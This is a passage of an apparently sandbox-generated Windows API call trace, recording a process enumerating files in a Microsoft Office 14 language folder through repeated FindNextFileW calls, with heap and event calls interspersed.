cAlternateFileName="")) returned 1 [0198.295] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERTINTL.DLL", cAlternateFileName="")) returned 1 [0198.295] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49538400, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49538400, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVWINTL.DLL", cAlternateFileName="")) returned 1 [0198.295] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8990, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAXRES.DLL", cAlternateFileName="")) returned 1 [0198.295] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="COFFEE.CSS", cAlternateFileName="")) returned 1 [0198.295] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x35be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Init.xsn", cAlternateFileName="COLLEC~1.XSN")) returned 1 [0198.296] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x36fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Sign.xsn", cAlternateFileName="COLLEC~2.XSN")) returned 1 [0198.296] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63409700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63409700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPickerIntl.dll", cAlternateFileName="CONTAC~1.DLL")) returned 1 [0198.296] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73908200, ftCreationTime.dwHighDateTime=0x1ca7ab5, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x73908200, ftLastWriteTime.dwHighDateTime=0x1ca7ab5, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1 [0198.296] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="DATASE~1")) returned 1 [0198.296] GetProcessHeap () returned 0x550000 [0198.296] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0198.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0198.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="_CONNE~1.ODC")) returned 1 [0198.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6254800, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa6254800, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="_NEWSQ~1.ODC")) returned 1 [0198.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5811c800, ftCreationTime.dwHighDateTime=0x1bff783, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5811c800, ftLastWriteTime.dwHighDateTime=0x1bff783, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKTOP.INI", cAlternateFileName="")) returned 1 [0198.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 1 [0198.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 0 [0198.297] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0198.298] GetProcessHeap () returned 0x550000 [0198.298] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0198.298] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0198.298] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ea0a00, ftCreationTime.dwHighDateTime=0x1c32175, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78ea0a00, ftLastWriteTime.dwHighDateTime=0x1c32175, nFileSizeHigh=0x0, nFileSizeLow=0x76000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0198.299] SetEvent (hEvent=0x150) returned 1 [0198.299] ResetEvent (hEvent=0x154) returned 1 [0198.299] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x28178, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1 [0198.299] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.CSS", cAlternateFileName="")) returned 1 [0198.299] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x19984, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.gta", cAlternateFileName="DISCUS~1.GTA")) returned 1 [0198.299] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b12e00, ftCreationTime.dwHighDateTime=0x1ca99cf, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45b12e00, ftLastWriteTime.dwHighDateTime=0x1ca99cf, nFileSizeHigh=0x0, nFileSizeLow=0x587c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion14.gta", cAlternateFileName="DISCUS~2.GTA")) returned 1 [0198.299] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0198.299] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ff9500, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf0ff9500, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOORSCHD.VRD", cAlternateFileName="")) returned 1 [0198.299] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.VSL", cAlternateFileName="")) returned 1 [0198.299] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb9dc00, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4bb9dc00, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.VSL", cAlternateFileName="")) returned 1 [0198.299] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDPRES.DLL", cAlternateFileName="")) returned 1 [0198.299] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x388e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_INIT.XSN", cAlternateFileName="EADOCU~1.XSN")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_REVIEW.XSN", cAlternateFileName="EADOCU~2.XSN")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xc990, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAWFINTL.DLL", cAlternateFileName="")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITRES.DLL", cAlternateFileName="")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6b2600, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1e6b2600, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x5f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPickerIntl.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x4388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL", cAlternateFileName="")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.IDX_DLL", cAlternateFileName="ENVELO~1.IDX")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9e19600, ftCreationTime.dwHighDateTime=0x1c56bc4, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf9e19600, ftLastWriteTime.dwHighDateTime=0x1c56bc4, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQPLIST.VRD", cAlternateFileName="")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a197900, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a197900, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6b2dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV.HXS", cAlternateFileName="EXCELD~1.HXS")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXC", cAlternateFileName="EXCELD~1.HXC")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXT", cAlternateFileName="EXCELD~1.HXT")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_F_COL.HXK", cAlternateFileName="EXCELD~1.HXK")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_K_COL.HXK", cAlternateFileName="EXCELD~2.HXK")) returned 1 [0198.300] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef99800, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdef99800, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x7770e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.HXS", cAlternateFileName="")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXC", cAlternateFileName="EXCEL_~1.HXC")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXT", cAlternateFileName="EXCEL_~1.HXT")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_F_COL.HXK", cAlternateFileName="EXCEL_~1.HXK")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_K_COL.HXK", cAlternateFileName="EXCEL_~2.HXK")) returned 1 [0198.301] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89452700, 